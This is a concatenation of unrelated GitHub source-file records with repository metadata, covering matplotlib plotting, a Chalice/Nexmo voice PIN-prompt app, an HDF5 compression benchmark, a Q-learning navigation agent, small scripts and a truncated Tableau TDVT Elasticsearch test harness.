[1,3,4,3,5,8,6]\n\nleft,bottom,width,height = 0.1,0.1,0.8,0.8\nax1 = fig.add_axes([left,bottom,width,height])\nax1.plot(x,y,'r')\nax1.set_xlabel('x')\nax1.set_ylabel('y')\nax1.set_title('title')\n\nleft,bottom,width,height = 0.2,0.6,0.25,0.25\nax2 = fig.add_axes([left,bottom,width,height])\nax2.plot(y,x,'b')\nax2.set_xlabel('x')\nax2.set_ylabel('y')\nax2.set_title('title inside 1')\n\nplt.axes([.6,0.2,0.25,0.25])\nplt.plot(y[::-1],x,'g')\nplt.xlabel('x')\nplt.ylabel('y')\nplt.title('title inside 2')\n\n\n# In[72]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nx = np.arange(0,10,0.1)\ny1 = 0.05*x**2\ny2 = -1*y1\nfig = plt.figure()\nfig.ax1 = plt.subplot()\nax2 = ax1.twinx()\nax1.plot(x,y1,'g-')\nax2.plot(x,y2,'b--')\n\nax1.set_xlabel('X data')\nax1.set_ylabel('Y1', color = 'g')\nax2.set_ylabel('Y2', color = 'r')\n\nplt.show()\n\n\n# In[73]:\n\n\n# 动画\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib import animation\nfig = plt.figure()\nfig.ax = plt.subplots()\n\nx = np.arange(0,2*np.pi,0.01)\nline,= ax.plot(x,np.sin(x))\n\ndef animate(i):\n line.set_ydata(np.sin(x + i/100))\n return line,\n\ndef init():\n line.set_ydata(np.sin(x))\n return line,\nani = animation.FuncAnimation(fig= fig,func = animate ,frames=100, init_func = init , interval = 20, blit = True)\nplt.show()\n\n","repo_name":"Koala111/Python","sub_path":"CLOUDE/数据图形化分析.py","file_name":"数据图形化分析.py","file_ext":"py","file_size_in_byte":7422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39710159682","text":"from chalice import Chalice\nimport requests\nimport boto3\nimport uuid\nimport nexmo\nimport sys\n\nif sys.version_info[0] == 3:\n from urllib.parse import urlparse, parse_qsl\nelse:\n from urlparse import urlparse, parse_qsl\n\nNAME = \"TTSPrompt\"\n\napp = Chalice(app_name=NAME)\napp.debug = True \n\nDB_CLIENT = boto3.client('dynamodb')\nDB_RES = boto3.resource('dynamodb')\nMAXAGE = 3600\n\ndef callback(tid):\n r = DB_CLIENT.get_item(TableName=NAME, Key={'tid':{'S':tid}})\n data = r['Item']\n url = data['callback']['S']\n method = data['callback_method']['S']\n result = data['stage']['S']\n payload = {'tid' : tid, 'status' : result, 'to' : data['to']['S']}\n if method == 'GET':\n resp = requests.get(url, params=payload)\n elif method == 'POST':\n resp = requests.post(url, data=payload)\n print(resp)\n\n \ndef update(tid, stage):\n r = DB_CLIENT.update_item(\n TableName=NAME,\n Key={'tid':{'S':tid}},\n UpdateExpression=\"set stage = :s\",\n ExpressionAttributeValues={':s': {'S':stage} },\n ReturnValues=\"UPDATED_NEW\"\n )\n print(r)\n \n \n@app.route('/setup')\ndef setup():\n table = DB_CLIENT.create_table(\n TableName=NAME,\n KeySchema=[\n {\n 'AttributeName': 'tid',\n 'KeyType': 'HASH' #Partition key\n }\n ],\n AttributeDefinitions=[\n {\n 'AttributeName': 'tid', 'AttributeType': 'S'\n }\n ],\n ProvisionedThroughput={\n 'ReadCapacityUnits': 10,\n 'WriteCapacityUnits': 10\n }\n )\n return {\"result\" : \"ok\"}\n\n\n@app.route('/call', methods=['POST'], content_types=['application/x-www-form-urlencoded', 'application/json'])\ndef call():\n req = app.current_request.headers\n if req['content-type'] == 'application/json':\n data = app.current_request.json_body\n else:\n data = dict(parse_qsl(app.current_request.raw_body.decode()))\n tid = str(uuid.uuid4())\n item={\n 'tid': {'S':tid},\n 'text':{'S':data['text']},\n 'to' : {'S':data['to']},\n 'pin_code':{'S':data['pin_code']},\n 'callback':{'S':data['callback']},\n 'callback_method':{'S':data['callback_method'].upper()},\n 'failed_text':{'S':data['failed_text']},\n 'bye_text':{'S':data['bye_text']},\n 'stage':{'S':'error'}\n }\n r = DB_CLIENT.put_item(TableName=NAME, Item=item)\n call = {'to': [{'type': 'phone', 'number': data['to']}],\n 'from': {'type': 'phone', 'number': data['from']},\n 'answer_url': [req['x-forwarded-proto'] + \"://\" + req['host'] + \"/api/answer/\"+tid],\n 'event_url' : [req['x-forwarded-proto'] + \"://\" + req['host'] + \"/api/event/\" + tid ]\n }\n if 'authorization' in req.keys():\n headers = {}\n headers['authorization'] = req['authorization']\n response = requests.post('https://api.nexmo.com/v1/calls', json=call, headers=headers)\n else:\n client = nexmo.Client(application_id=data['app_id'], private_key=data['private_key'], key='dummy', secret='dummy')\n response = client.create_call(call)\n return {\"tid\" : tid}\n \n\n\n@app.route('/answer/{tid}')\ndef answer(tid):\n req = app.current_request.to_dict()\n r = DB_CLIENT.get_item(TableName=NAME, Key={'tid':{'S':tid}})\n data = r['Item']\n ncco = []\n n = {}\n n['action'] = \"talk\"\n n['text'] = data['text']['S']\n n['bargeIn'] = True\n ncco.append(n)\n n = {}\n n['action'] = \"input\"\n n['maxDigits'] = len(data['pin_code']['S'])\n n['eventUrl'] = [req['headers']['x-forwarded-proto'] + \"://\" + req['headers']['host'] + \"/api/input/\" + tid + \"?count=1\"]\n ncco.append(n)\n return ncco\n\n@app.route('/event/{tid}', methods=['POST'])\ndef event(tid):\n data = app.current_request.json_body\n if data['status'] == \"completed\":\n callback(tid)\n \n \n \n@app.route('/input/{tid}', methods=['POST'])\ndef input(tid):\n count = int(app.current_request.query_params['count'])\n req = app.current_request.to_dict()\n dtmf = app.current_request.json_body['dtmf']\n r = DB_CLIENT.get_item(TableName=NAME, Key={'tid':{'S':tid}})\n data = r['Item']\n if dtmf == data['pin_code']['S']:\n ncco = []\n n = {}\n n['action'] = \"talk\"\n n['text'] = data['bye_text']['S']\n ncco.append(n)\n update(tid, 'ok')\n elif count < 3:\n ncco = []\n n = {}\n n['action'] = \"talk\"\n n['text'] = data['failed_text']['S']\n n['bargeIn'] = True\n ncco.append(n)\n n = {}\n n['action'] = \"input\"\n n['maxDigits'] = len(data['pin_code']['S'])\n count += 1\n n['eventUrl'] = [req['headers']['x-forwarded-proto'] + \"://\" + req['headers']['host'] + \"/api/input/\" + tid + \"?count=\"+str(count)]\n ncco.append(n)\n else:\n ncco = []\n update(tid, 'failed')\n return ncco\n \n\n","repo_name":"nexmo-community/voice-ttsprompt-lambda","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40637402683","text":"\"\"\"\nTitle: Common Dispatcher file for all CVnn modules.\n\nDescription: The common dispatcher file is imported in all architecture files. it is used to recognize layers and weight operations for logging gradients.\n*** this is a place holder file for the original cplx.dispacher.py to manage cplx dependencies\n\nCreated on Sun Mar 19 17:44:29 2023\n\n@author: Ujjawal.K.Panchal & Manny Ko\n\"\"\"\nfrom typing import Union, Optional\nimport torch\n\n#*** place holders for the original cplx.dispacher.py to manage cplx dependencies\n\ndef getModelConfigStr(model):\n\tourstr = ''\n\tif hasmethod(model, \"getModelConfigStr\"):\n\t\tourstr = model.getModelConfigStr()\n\telif hasmethod(model, \"getConfigStr\"):\n\t\tourstr = model.getConfigStr()\n\telse:\n\t\tourstr = type(model)\n\treturn str(ourstr)\n\ndef get_histogram(tensor: torch.tensor, bins:int = 10):\n\thist = None\n\tif torch.is_tensor(tensor):\n\t\thist = torch.histc(tensor, bins = 10)\n\telse:\n\t\thist = [torch.histc(tensor.real, bins = 10), torch.histc(tensor.imag, bins = 10)]\n\treturn hist\n\t","repo_name":"mannykao/mk_mlutils","sub_path":"src/mk_mlutils/cplx/dispatcher.py","file_name":"dispatcher.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16408890100","text":"import io\nimport os\nfrom os.path import join, basename\nimport shutil\nimport glob\nimport tempfile\nimport argparse\nimport timeit\nfrom enum import IntEnum\n\nimport h5py\nimport numpy as np\nimport requests\nimport PIL.Image\n\n\nclass FilterID(IntEnum):\n # https://portal.hdfgroup.org/display/support/Registered+Filters\n LZF = 32000\n ZSTD = 32015\n JPEG_LS = 32012\n BLOSC = 32001\n\n\nclass BloscCompressor(IntEnum):\n # https://github.com/Blosc/c-blosc/blob/master/blosc/blosc.h#L66\n BLOSCLZ = 0\n LZ4 = 1\n LZ4HC = 2\n SNAPPY = 3\n ZLIB = 4\n ZSTD = 5\n\n\n# https://github.com/Blosc/hdf5-blosc/blob/master/src/example.c#L87\ndef get_blosc_opts(*,\n level=4,\n shuffle=False,\n compressor=BloscCompressor.BLOSCLZ):\n return (0, 0, 0, 0,\n int(level), int(shuffle), int(compressor))\n\n\ndef dl_image(ident, dtype=np.uint8):\n url = f\"http://sipi.usc.edu/database/download.php?vol=textures&img={ident}\"\n req = requests.get(url)\n img = PIL.Image.open(io.BytesIO(req.content))\n return np.asarray(img, dtype=dtype)\n\n\ndef dl_and_save_image(ident, destdir, dtype=np.uint8):\n img = dl_image(ident, dtype)\n fpath = join(destdir, f\"{ident}.npy\")\n np.save(fpath, img)\n return fpath\n\n\ndef get_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-d\", \"--img-dir\")\n parser.add_argument(\"-n\", \"--pixel-depth\", type=int, choices=[8, 16],\n default=8)\n parser.add_argument(\"-c\", \"--clean-img-dir\", action=\"store_true\")\n\n return parser.parse_args()\n\n\ndef benchmark_container(filter_id, filter_opts, img_dir, N=3):\n # load images\n imgs = []\n for img_path in glob.iglob(join(img_dir, \"*.npy\")):\n ident = basename(img_path).rstrip(\".npy\")\n imgs.append((ident, np.load(img_path)))\n\n with tempfile.TemporaryDirectory() as testdir:\n h5_path = join(testdir, \"test.h5\")\n\n # WRITE\n\n stmt = \"\"\"\nwith h5py.File(h5_path, \"w\") as fp:\n for k in range(N):\n for ident, data in imgs:\n fp.create_dataset(f\"{ident}_{k}\",\n data=data,\n compression=filter_id,\n compression_opts=filter_opts)\n\"\"\"\n namespace = globals()\n namespace.update(locals())\n\n time_w = timeit.timeit(stmt, globals=namespace, number=10)\n size = os.stat(h5_path).st_size\n\n # READ\n\n ident = imgs[0][0]\n\n stmt = \"\"\"\nwith h5py.File(h5_path, \"r\") as fp:\n img = fp[f\"{ident}_0\"][()]\n _ = img.shape\n\"\"\"\n namespace = globals()\n namespace.update(locals())\n\n time_r = timeit.timeit(stmt, globals=namespace, number=100)\n\n return time_w, time_r, size\n\n\ndef main():\n args = get_args()\n\n if args.img_dir is None:\n img_idents = [\"1.3.03\", \"1.3.05\", \"1.3.08\"]\n\n args.img_dir = tempfile.mkdtemp()\n for ident in img_idents:\n dtype = np.uint16 if args.pixel_depth == 16 else np.uint8\n fpath = dl_and_save_image(ident, args.img_dir, dtype)\n print(f\"Image source: {args.img_dir}\")\n\n # ====================\n\n filters = [(\"none\", None, None),\n (\"lzf\", FilterID.LZF, None),\n (\"zstd\", FilterID.ZSTD, None),\n (\"jpegls\", FilterID.JPEG_LS, None),\n (\"blosc-zlib-6\", FilterID.BLOSC,\n get_blosc_opts(level=6, compressor=BloscCompressor.ZLIB)),\n (\"blosc-zstd-6\", FilterID.BLOSC,\n get_blosc_opts(level=6, compressor=BloscCompressor.ZSTD)),\n ]\n\n for name, filter_id, filter_opts in filters:\n print(name, end=\": \", flush=True)\n time_w, time_r, size = benchmark_container(filter_id=filter_id,\n filter_opts=filter_opts,\n img_dir=args.img_dir,\n N=10)\n print(f\"W:{time_w*1000:.0f} ms, R:{time_r*1000:.0f} ms, \"\n f\"{size/1e6:.2f} MB\")\n\n # ====================\n\n if args.clean_img_dir:\n shutil.rmtree(args.img_dir)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"airwoodix/hdf5-compression-tests","sub_path":"hdf5_compression.py","file_name":"hdf5_compression.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24469625659","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\nimport digitwin\nimport math as m\nfrom log import log, forcelog\nimport scenman as sm\n\nclass Agent():\n def __init__(self):\n #Define init for agent class\n self.Q_table = {}\n self.fails = []\n self.goals = []\n self.movment_cost = -1\n self.action = [0,1,2,3,4,5,6,7,8]\n self.move = 0\n self.num_actions = len(self.action)\n self.onland = 0 #sm.sims[-1].val('LandEstimation','OnLand')\n self.terminal = 0\n self.nxtpos = (0.0,0.0) #next position\n self.nxtpossat = []\n self.pos = (0.0,0.0) #current position\n self.chosen_pos = (0.0,0.0)\n self.prevpos = (0.0,0.0)\n self.fakepos = (2.0,2.0)\n self.ori = () #current orientation\n self.reward = 0 #reward after finishing a move\n self.model = []\n self.states = []\n self.potential_waypoints = []\n self.x_pos = 0\n self.y_pos = 0\n self.number = 200 #changed from 50 #changed from 20\n self.R = 100\n self.goalsScored = 0\n self.failures = 0\n\n def get_reward(self):\n #Check where the vessel is and get the reward for that state\n if self.pos in goal.goal_states:\n self.terminal = 1\n self.reward = goal.goal_reward\n self. goalsScored += 1\n elif self.terminal == 1:\n self.reward = neg_state.negativ_reward\n self.failures += 1\n else:\n self.reward = ocean.ocean_reward\n print('got reward', self.reward)\n\n def north(self):\n #Enable agent to go forward\n if self.chosen_pos[0] != 2000:\n self.nxtpos = (self.chosen_pos[0] + self.number, self.chosen_pos[1])\n self.fakepos = (self.chosen_pos[0] + self.number*6, self.chosen_pos[1])\n# self.get_reward()\n else:\n self.nxtpos = self.chosen_pos\n# self.get_reward()\n\n\n def south(self):\n #Enable agent to go backward\n if self.chosen_pos[0] != -2000:\n self.nxtpos = (self.chosen_pos[0] - self.number, self.chosen_pos[1])\n self.fakepos = (self.chosen_pos[0] - self.number*6, self.chosen_pos[1])\n# self.get_reward()\n else:\n self.nxtpos = self.chosen_pos\n# self.get_reward()\n\n def west(self):\n #Eable agent to turn left\n if self.chosen_pos[1] != 2000:\n self.nxtpos = (self.chosen_pos[0], self.chosen_pos[1] + self.number)\n self.fakepos = (self.chosen_pos[0], self.chosen_pos[1] + self.number*6)\n# self.get_reward()\n else:\n self.nxtpos = self.chosen_pos\n# self.get_reward()\n\n def east(self):\n #enable agent to turn right\n if self.chosen_pos[1] != -2000:\n self.nxtpos = (self.chosen_pos[0], self.chosen_pos[1] - self.number)\n self.fakepos = (self.chosen_pos[0], self.chosen_pos[1] - self.number*6)\n# self.get_reward()\n else:\n self.nxtpos = self.chosen_pos\n# self.get_reward()\n\n def north_west(self):\n if self.chosen_pos[0] == 2000 or self.chosen_pos[1] == 2000:\n# self.get_reward()\n self.nxtpos = self.chosen_pos\n \n else:\n self.nxtpos = (self.chosen_pos[0] + self.number, self.chosen_pos[1] + self.number)\n self.fakepos = (self.chosen_pos[0] + self.number*6, self.chosen_pos[1] + self.number*6)\n# self.get_reward()\n\n\n def north_east(self):\n if self.chosen_pos[0] == 2000 or self.chosen_pos[1] == -2000:\n# self.get_reward()\n self.nxtpos = self.chosen_pos\n else:\n self.nxtpos = (self.chosen_pos[0] + self.number, self.chosen_pos[1] - self.number)\n self.fakepos = (self.chosen_pos[0] + self.number*6, self.chosen_pos[1] - self.number*6)\n# self.get_reward()\n\n\n def south_west(self):\n if self.chosen_pos[0] == -2000 or self.chosen_pos[1] == 2000:\n# self.get_reward()\n self.nxtpos = self.chosen_pos\n else:\n self.nxtpos = (self.chosen_pos[0] - self.number, self.chosen_pos[1] + self.number)\n self.fakepos = (self.chosen_pos[0] - self.number*6, self.chosen_pos[1] + self.number*6)\n# self.get_reward()\n\n\n def south_east(self):\n if self.chosen_pos[0] == -2000 or self.chosen_pos[1] == -2000:\n# self.get_reward()\n self.nxtpos = self.chosen_pos\n else:\n self.nxtpos = (self.chosen_pos[0] - self.number, self.chosen_pos[1] - self.number)\n self.fakepos = (self.chosen_pos[0] - self.number*6, self.chosen_pos[1] - self.number*6)\n# self.get_reward()\n\n\n def wait(self):\n #Enable agent to wait\n self.nxtpos = self.chosen_pos\n# self.get_reward()\n \n def checkPos(self):\n self.prevpos = self.chosen_pos\n self.Cirlce = (self.nxtpos[0] - self.pos[0])**2 + (self.nxtpos[1] - self.pos[1])**2\n if self.Cirlce <= self.R**2:\n self.chosen_pos = self.nxtpos\n else:\n return 0\n\n\nclass Goal_state():\n def __init__(self):\n #define init for goal state\n #Positive and terminal\n self.goal_reward = 10.\n self.goal_states = []\n\nclass Negative_state():\n def __init__(self):\n #define init for negative state\n #Negative and terminal\n self.negativ_reward = -10.\n self.negative_states = []\n\nclass Danger_state():\n def __init__(self):\n #Define init for dangerous state\n #Negative and non-terminal\n self.danger_reward = -5.\n self.danger_states = []\n\nclass Ocean():\n def __init__(self):\n #Define init for dangerous state\n #Negative and non-terminal\n self.ocean_reward = -1.\n self.ocean = []\n \nagent = Agent()\nneg_state = Negative_state()\nocean = Ocean()\ndanger = Danger_state()\ngoal = Goal_state()\n\n\ndef create_states():\n step = agent.number # forandret fra 50 #forandret fra 20\n stepx = -1\n stepy = -1\n minarea = -2400\n maxarea = 2000\n for x in range(minarea,maxarea):\n stepx += 1\n if stepx == step:\n stepx = 0\n for y in range(minarea,maxarea):\n stepy +=1\n if stepy == step:\n stepy = 0\n agent.Q_table[(float(x+step),float(y+step))] = [0.0]*agent.num_actions\n agent.potential_waypoints.append((x+step,y+step))\n\n\n\n \n\ndef random_move():\n# move = 0\n chance = np.random.randint(0, 8)\n if chance == 0:\n agent.move = 0\n agent.west()\n elif chance == 1:\n agent.move = 1\n agent.east()\n elif chance == 2:\n agent.move = 2\n agent.north()\n elif chance == 3:\n agent.move = 3\n agent.south()\n elif chance == 4:\n agent.move = 4\n agent.north_west()\n elif chance == 5:\n agent.move = 5\n agent.north_east()\n elif chance == 6:\n agent.move = 6\n agent.south_west()\n elif chance == 7:\n agent.move = 7\n agent.south_east()\n elif chance == 8:\n agent.move = 8\n agent.wait()\n# return move\n\n\n\ndef best_move():\n# move = 0\n if agent.pos in agent.potential_waypoints:\n if max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][0]:\n agent.move = 0\n agent.west()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][1]:\n agent.move = 1\n agent.east()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][2]:\n agent.move = 2\n agent.north()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][3]:\n agent.move = 3\n agent.south()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][4]:\n agent.move = 4\n agent.north_west()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][5]:\n agent.move = 5\n agent.north_east()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][6]:\n agent.move = 6\n agent.south_west()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][7]:\n agent.move = 7\n agent.south_east()\n elif max(agent.Q_table[agent.chosen_pos]) == agent.Q_table[agent.chosen_pos][8]:\n agent.move = 8\n agent.wait()\n# return move\n\n\ndef bestVSrandom(epsilon):\n #make the best move or a random move\n# move = 0\n if random.uniform(0, 1) <= epsilon or sum(agent.Q_table[agent.chosen_pos]) == 0 :\n random_move()\n print('RANDOM!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n else:\n best_move()\n print('BEST!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')\n print(agent.move)\n\n\ndef update_Q(alpha, gamma):\n# move = 0\n agent.get_reward()\n prev_pos = agent.prevpos\n# bestVSrandom(0.1)\n agent.states.append(prev_pos)\n# print('move',agent.move)\n# print('prev_pos',prev_pos)\n# print('chosen pos',agent.chosen_pos)\n if agent.terminal == 1:\n agent.Q_table[prev_pos][agent.move] = (1 - alpha) * agent.Q_table[prev_pos][agent.move] + alpha * agent.reward\n else:\n agent.Q_table[prev_pos][agent.move] = (1 - alpha) * agent.Q_table[prev_pos][agent.move] + alpha * (agent.reward + gamma * max(agent.Q_table[agent.chosen_pos]))\n agent.model.append(((prev_pos), (agent.chosen_pos), agent.move, agent.reward))\n # this part is the Dyna Q part\n print('before dyna',agent.Q_table[prev_pos][:])\n if len(agent.model) >20:\n for number in range(100):\n x = np.random.randint(0,len(agent.model))\n state = agent.model[x][0]\n nextstate = agent.model[x][1]\n action = agent.model[x][2]\n reward = agent.model[x][3]\n agent.Q_table[state][action] = (1 - alpha) * agent.Q_table[state][action] + alpha * (reward + gamma * max(agent.Q_table[nextstate]))\n # print(reward)\n # print(action)\n # print(nextstate)\n # print(state)\n print('after dyna',agent.Q_table[state][action])\n return agent.Q_table\n\n\n\n \n ","repo_name":"EspenWinther/Masterstuff","sub_path":"DNVGL.py","file_name":"DNVGL.py","file_ext":"py","file_size_in_byte":10432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17936005708","text":"t = int(input())\nfor _ in range(t):\n test = int(input())\n max = 0\n max_name = \"\"\n for i in range(test):\n name, alco = input().split()\n alco = int(alco)\n if (alco > max):\n max = alco\n max_name = name\n print(max_name)","repo_name":"GraceKim527/Pygorithm","sub_path":"BOJ/11000s/11500s/11557.py","file_name":"11557.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"45461761754","text":"from django.urls import path\n\nfrom interns import views\n\nurlpatterns = [\n path('register/', views.InternRegister.as_view(), name='register'),\n path('login/', views.InternLogin.as_view(), name='login'),\n path('register/profile/', views.InternProfileRegister.as_view(), name='register-profile'),\n path('profile/', views.InternProfile.as_view(), name='profile'),\n path('logout/', views.InternLogout.as_view(), name='logout'),\n]","repo_name":"ozemin/internity-rest","sub_path":"interns/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35032965135","text":"import pickle\nimport numpy as np\n\nfrom engine.manual.mlp.manual_mlp import MultilayerPerceptron\nfrom engine.manual.utils.util_functions import train_test_split, to_categorical, accuracy_score\nfrom engine.utils.utilities import load_parsed_csv, basic_clean\n\n\ndef main():\n data = load_parsed_csv(datasets_path='../../resources/datasets/all/records_4k.csv')\n X = data.title\n y = data.is_popular\n\n # Convert the nominal y values to binary\n y = to_categorical(y.astype(\"int\"))\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, seed=1)\n\n clean_train_news = []\n clean_test_news = []\n\n for key in X_train:\n clean_train_news.append(basic_clean(key))\n\n for key in X_test:\n clean_test_news.append(basic_clean(key))\n\n vector = pickle.load(open(\"resources/datasets/models/vectorized.pickle\", 'rb'))\n X_train = vector.transform(clean_train_news).toarray()\n X_test = vector.transform(clean_test_news).toarray()\n\n # MLP\n clf = MultilayerPerceptron(n_hidden=256,\n n_iterations=200,\n learning_rate=0.001)\n\n mlp = clf.fit(X_train, y_train)\n pickle.dump(mlp, open(\"resources/datasets/models/model_mlp_manual.pickle\", \"wb\"))\n\n y_pred = np.argmax(clf.predict(X_test), axis=1)\n y_test = np.argmax(y_test, axis=1)\n\n accuracy = accuracy_score(y_test, y_pred)\n print(\"Accuracy:\", accuracy)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ViraMeliana/popularity-prediction-mlp","sub_path":"controllers/experimental/manual_perceptrons.py","file_name":"manual_perceptrons.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27555612489","text":"#! /usr/bin/env python\n# coding: utf-8\n\n# __author__ = 'meisanggou'\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nimport sys\n\nif sys.version_info <= (2, 7):\n sys.stderr.write(\"ERROR: jingyun tools requires Python Version 2.7 or above.\\n\")\n sys.stderr.write(\"Your Python Version is %s.%s.%s.\\n\" % sys.version_info[:3])\n sys.exit(1)\n\nname = \"pyrfc\"\nversion = \"0.1.2\"\nurl = \"https://github.com/meisanggou/rfc\"\nlicense = \"MIT\"\nauthor = \"meisanggou\"\nshort_description = \"Implementation of some RFC standard algorithms\"\nlong_description = \"\"\"\nImplementation of some RFC standard algorithms. Now Include RFC2548 RFC2759 RFC3078 RFC3079\n\"\"\"\nkeywords = \"rfc2\"\ninstall_requires = []\n\nsetup(name=name,\n version=version,\n author=author,\n author_email=\"zhou5315938@163.com\",\n url=url,\n packages=[\"pyrfc\"],\n license=license,\n description=short_description,\n long_description=long_description,\n keywords=keywords,\n install_requires=install_requires\n )\n","repo_name":"meisanggou/rfc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8872970688","text":"import os\nimport shutil\nimport random\n\nsrc_folder = 'DataSetGenerational'\ndst_folder = 'DataSetGenerationalTesting'\n\nif not os.path.exists(dst_folder):\n os.makedirs(dst_folder)\n\nfor i in range(1, 10):\n src_subfolder = os.path.join(src_folder, str(i))\n dst_subfolder = os.path.join(dst_folder, str(i))\n\n if not os.path.exists(dst_subfolder):\n os.makedirs(dst_subfolder)\n\n files = os.listdir(src_subfolder)\n\n num_files_to_move = int(len(files) * 0.2)\n\n files_to_move = random.sample(files, num_files_to_move)\n\n for file_name in files_to_move:\n src_file = os.path.join(src_subfolder, file_name)\n dst_file = os.path.join(dst_subfolder, file_name)\n shutil.move(src_file, dst_file)\n","repo_name":"TheWarlock118/434project","sub_path":"DataCollection/SeparateTestDataGenerational.py","file_name":"SeparateTestDataGenerational.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74061814454","text":"class Fruit:\n\n type = 'Tropical'\n\n def __init__(self, name, seeds):\n self.name = name\n self.seeds = seeds\n\n def speak(self):\n print(f'I am a {self.name}')\n print(f'I am a {self.type} fruit')\n print(f'I am a {Fruit.type} fruit')\n\n\ndurian = Fruit('Durian', True)\n\nprint(type(durian))\n\nprint(durian.type)\n\ndurian.speak()\n","repo_name":"3lueberry/GAonGitHub","sub_path":"Unit_4/u4d2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25797345095","text":"import subprocess\nimport inspect\nimport os\nimport urllib3\nimport re\nimport threading\nimport ipaddress\nimport argparse\nimport time\nimport getpass\n\n\nTDVT_SDK_NAME = \"connector-plugin-sdk\"\nTDVT_SDK_REPO = \"https://github.com/tableau/\" + TDVT_SDK_NAME\nTDVT_SDK_BRANCH = \"tdvt-2.1.9\"\nTDVT_ES_SCHEME = \"simple_lower\"\n\nTDVT_RUN_DIR = \"run\"\n\nTIMEOUTS = {\"_default_\": 5, \"checkout_tdvt_sdk\": 60, \"setup_workspace\": 10, \"add_data_source\": 300, \"run_tdvt\": 1800}\nTDVT_LAUNCHER = os.path.join(TDVT_SDK_NAME, \"tdvt\", \"tdvt_launcher.py\")\n\n#\n# configs\nTDS_SRC_DIR = \"tds\"\nTACO_SRC_DIR = \"C:\\\\Users\\\\\" + getpass.getuser() + \"\\\\Documents\\\\My Tableau Repository\\\\Connectors\"\nTACO_SIGNED = True\nES_URL = \"http://elastic-admin:elastic-password@127.0.0.1:9200\"\n\n\ndef interact(proc, interactive):\n # no straigh forward non-blocking read on Win -> char reader in own thread\n def read_stdout(buff, condition):\n c = \" \"\n while c != \"\":\n c = proc.stdout.read(1)\n condition.acquire()\n buff.append('\\0' if c == \"\" else c)\n condition.notify()\n condition.release()\n\n buff = [' ']\n condition = threading.Condition()\n reader = threading.Thread(target=read_stdout, args=(buff, condition))\n reader.start()\n\n interactive.reverse()\n while len(interactive) > 0 and reader.is_alive():\n token, answer = interactive.pop()\n condition.acquire()\n while buff[-1] != '\\0':\n output = \"\".join(buff)\n if token not in output:\n condition.wait()\n else:\n condition.release()\n proc.stdin.write(answer + '\\n')\n proc.stdin.flush()\n break\n\n reader.join()\n\n\ndef exe(args, interactive = None, raise_on_retcode = True):\n with subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n universal_newlines=True) as proc:\n if interactive is not None:\n interact(proc, interactive)\n\n try:\n caller = inspect.stack()[1][3]\n proc.wait(TIMEOUTS[caller] if caller in TIMEOUTS.keys() else TIMEOUTS[\"_default_\"])\n except subprocess.TimeoutExpired as e:\n proc.kill()\n stdout, stderr = proc.communicate()\n if proc.returncode != 0 and raise_on_retcode:\n print(\"command stdout: \\n\" + stdout)\n print(\"command stderr: \\n\" + stderr)\n raise Exception(\"Command exited with code %s: '%s' !\" % (proc.returncode, args))\n return (proc.returncode, stdout, stderr)\n\ndef checkout_tdvt_sdk():\n git_args = [\"git\", \"clone\", \"--depth\", \"1\", \"--branch\", TDVT_SDK_BRANCH, TDVT_SDK_REPO]\n exe(git_args)\n\ndef setup_workspace():\n\n tdvt_args = [\"py\", \"-3\", TDVT_LAUNCHER, \"action\", \"--setup\"]\n exe(tdvt_args)\n\ndef install_tds_files(tds_src_dir, elastic_url):\n TDVT_TDS_DIR = \"tds\"\n\n def dbname(es_host):\n try:\n ipaddress.ip_address(es_host)\n return es_host\n except ValueError as ve:\n pos = es_host.find(\".\")\n return es_host if pos <= 0 else es_host[:pos]\n\n es_url = urllib3.util.parse_url(elastic_url)\n if ':' in 